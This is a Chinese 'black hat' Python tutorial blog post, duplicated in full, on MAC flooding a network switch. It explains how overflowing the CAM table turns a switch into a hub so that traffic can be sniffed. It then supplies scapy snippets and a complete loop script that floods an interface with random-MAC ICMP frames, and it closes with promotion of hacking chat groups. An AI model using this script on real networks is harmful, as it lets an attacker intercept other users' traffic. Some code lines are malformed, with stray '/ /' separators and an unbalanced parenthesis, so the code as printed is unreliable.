Python黑帽编程 3.3 MAC洪水攻击

摘要

Python黑帽编程 3.3 MAC洪水攻击

Python 灰帽编程 3.3 MAC 洪水

传统的交换机(我只对我目前使用的交互机做过测试,按照常识只能这样表述)在数据转发过程中依靠对 CAM 表的查询来确定正确的转发接口,一旦在查询过程中无法找到相关目的 MAC 对应的条目,此数据帧将作为广播帧来处理。 CAM 表的容量有限,只能储存不多的条目,当 CAM 表记录的 MAC 地址达到上限后,新的条目将不会添加到 CAM 表中。

基于以上原理,我们会发现一个非常有趣的现象。某台 PC 不断发送去往未知目的地的数据帧,且每个包的源 MAC 地址都不同,当这样 的数据包发送的速度足够快之后,快到在刷新时间内将交换机的 CAM 表迅速填满。 CAM 表被这些伪造的 MAC 地址占据,真实的 MA C 地址条目却无法进入 CAM 表。那么任何一个经过交换机的正常单播数据帧都会以广播帧的形式来处理。交换机在此种情况下被降级为 Hub

交换机降级为 hub 之后,我们就可以监听所有连接到该交换机的主机的数据了。

当然,具体交互设备对 ARP 洪水的响应是不一样的,需要实地测试。下面我们进入编程环节。

3.3.1 编码实战

构造随机的 MAC IP 地址方法有很多,因为地址的标准格式在那里,很容易拼装。这里要给大家介绍的是 scapy 模块中的 RandMAC RandIP 方法。这两个方法用来随机产生 MAC 地址和 IP 地址,方法接收模板参数,来产生特定网段的地址。

例如下面的代码:

#!/usr/bin/python

from scapy.all import *

i=5

while(i):

print RandMAC()

print RandIP()

i=i-1

运行结果如下图:

Python黑帽编程 3.3 MAC洪水攻击

2

如果需要产生固定网段的 IP ,可以输入指定的模板。

#!/usr/bin/python

from scapy.all import *

i=5

while(i):

print RandIP("192.168.1.*")

i=i-1

运行结果如下:

Python黑帽编程 3.3 MAC洪水攻击

3

随机的问题解决之后,下面我们考虑下什么样的数据包能达到目的呢?回看一下前文提到的内容,只要我们的数据包中有指定的源 IP MAC ,那么交换机就会进行记录。

例如 ARP 包:

Ether (src= RandMAC (),dst= "FF:FF:FF:FF:FF:FF" )/ARP(op= 2 , psrc= "0.0.0.0" , hwdst= "FF:FF:FF:FF:FF:FF" )/ Padding (load= "X" * 18 ))

例如 ICMP 包:

Ether(src=RandMAC("*:*:*:*:*:*"),

dst=RandMAC("*:*:*:*:*:*")) / /

IP(src=RandIP("*.*.*.*"),

dst=RandIP("*.*.*.*")) / /

ICMP()

两个核心问题解决了,可以写完整的代码了:

Python黑帽编程 3.3 MAC洪水攻击

4

#!/usr/bin/python

import sys

from scapy.all import *

import time

iface="eth0"

if len(sys.argv)>=2:

iface=sys.argv[1]

while(1):

packet= Ether(src=RandMAC("*:*:*:*:*:*"),

dst=RandMAC("*:*:*:*:*:*")) / /

IP(src=RandIP("*.*.*.*"),

dst=RandIP("*.*.*.*")) / /

ICMP()

time.sleep(0.5)

sendp(packet,iface=iface,loop=0)

上面的代码通过不停的发送 ICMP 数据包,来实现 MAC 洪水攻击。运行结果如下:

Python黑帽编程 3.3 MAC洪水攻击

5

3.3.2 小结

本节的内容在编程上没有什么新的知识值得探讨,主要希望大家对交换网络和以太网的理解通过编程的方式进一步加深。

下一节,我们一起探讨下针对 VLAN 的攻击。

3.3 节《 VLAN 攻击 》已经在微信订阅号抢先发布,心急的同学进入订阅号(二维码在下方),从菜单 专栏 ”—>”Python 黑帽编程 进入即可。

查看完整系列教程,请关注我的微信订阅号( xuanhun521 ,下方二维码),回复“ python ”。问题讨论请加 qq 群: Hacking 1 群): 303242737   Hacking 2 群): 147098303

Python黑帽编程 3.3 MAC洪水攻击

玄魂工作室 精彩不断

Python黑帽编程 3.3 MAC洪水攻击

Python 灰帽编程 3.3 MAC 洪水

传统的交换机(我只对我目前使用的交互机做过测试,按照常识只能这样表述)在数据转发过程中依靠对 CAM 表的查询来确定正确的转发接口,一旦在查询过程中无法找到相关目的 MAC 对应的条目,此数据帧将作为广播帧来处理。 CAM 表的容量有限,只能储存不多的条目,当 CAM 表记录的 MAC 地址达到上限后,新的条目将不会添加到 CAM 表中。

基于以上原理,我们会发现一个非常有趣的现象。某台 PC 不断发送去往未知目的地的数据帧,且每个包的源 MAC 地址都不同,当这样 的数据包发送的速度足够快之后,快到在刷新时间内将交换机的 CAM 表迅速填满。 CAM 表被这些伪造的 MAC 地址占据,真实的 MA C 地址条目却无法进入 CAM 表。那么任何一个经过交换机的正常单播数据帧都会以广播帧的形式来处理。交换机在此种情况下被降级为 Hub

交换机降级为 hub 之后,我们就可以监听所有连接到该交换机的主机的数据了。

当然,具体交互设备对 ARP 洪水的响应是不一样的,需要实地测试。下面我们进入编程环节。

3.3.1 编码实战

构造随机的 MAC IP 地址方法有很多,因为地址的标准格式在那里,很容易拼装。这里要给大家介绍的是 scapy 模块中的 RandMAC RandIP 方法。这两个方法用来随机产生 MAC 地址和 IP 地址,方法接收模板参数,来产生特定网段的地址。

例如下面的代码:

#!/usr/bin/python

from scapy.all import *

i=5

while(i):

print RandMAC()

print RandIP()

i=i-1

运行结果如下图:

Python黑帽编程 3.3 MAC洪水攻击

2

如果需要产生固定网段的 IP ,可以输入指定的模板。

#!/usr/bin/python

from scapy.all import *

i=5

while(i):

print RandIP("192.168.1.*")

i=i-1

运行结果如下:

Python黑帽编程 3.3 MAC洪水攻击

3

随机的问题解决之后,下面我们考虑下什么样的数据包能达到目的呢?回看一下前文提到的内容,只要我们的数据包中有指定的源 IP MAC ,那么交换机就会进行记录。

例如 ARP 包:

Ether (src= RandMAC (),dst= "FF:FF:FF:FF:FF:FF" )/ARP(op= 2 , psrc= "0.0.0.0" , hwdst= "FF:FF:FF:FF:FF:FF" )/ Padding (load= "X" * 18 ))

例如 ICMP 包:

Ether(src=RandMAC("*:*:*:*:*:*"),

dst=RandMAC("*:*:*:*:*:*")) / /

IP(src=RandIP("*.*.*.*"),

dst=RandIP("*.*.*.*")) / /

ICMP()

两个核心问题解决了,可以写完整的代码了:

Python黑帽编程 3.3 MAC洪水攻击

4

#!/usr/bin/python

import sys

from scapy.all import *

import time

iface="eth0"

if len(sys.argv)>=2:

iface=sys.argv[1]

while(1):

packet= Ether(src=RandMAC("*:*:*:*:*:*"),

dst=RandMAC("*:*:*:*:*:*")) / /

IP(src=RandIP("*.*.*.*"),

dst=RandIP("*.*.*.*")) / /

ICMP()

time.sleep(0.5)

sendp(packet,iface=iface,loop=0)

上面的代码通过不停的发送 ICMP 数据包,来实现 MAC 洪水攻击。运行结果如下:

Python黑帽编程 3.3 MAC洪水攻击

5

3.3.2 小结

本节的内容在编程上没有什么新的知识值得探讨,主要希望大家对交换网络和以太网的理解通过编程的方式进一步加深。

下一节,我们一起探讨下针对 VLAN 的攻击。

3.3 节《 VLAN 攻击 》已经在微信订阅号抢先发布,心急的同学进入订阅号(二维码在下方),从菜单 专栏 ”—>”Python 黑帽编程 进入即可。

查看完整系列教程,请关注我的微信订阅号( xuanhun521 ,下方二维码),回复“ python ”。问题讨论请加 qq 群: Hacking 1 群): 303242737   Hacking 2 群): 147098303

Python黑帽编程 3.3 MAC洪水攻击

玄魂工作室 - 精彩不断

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: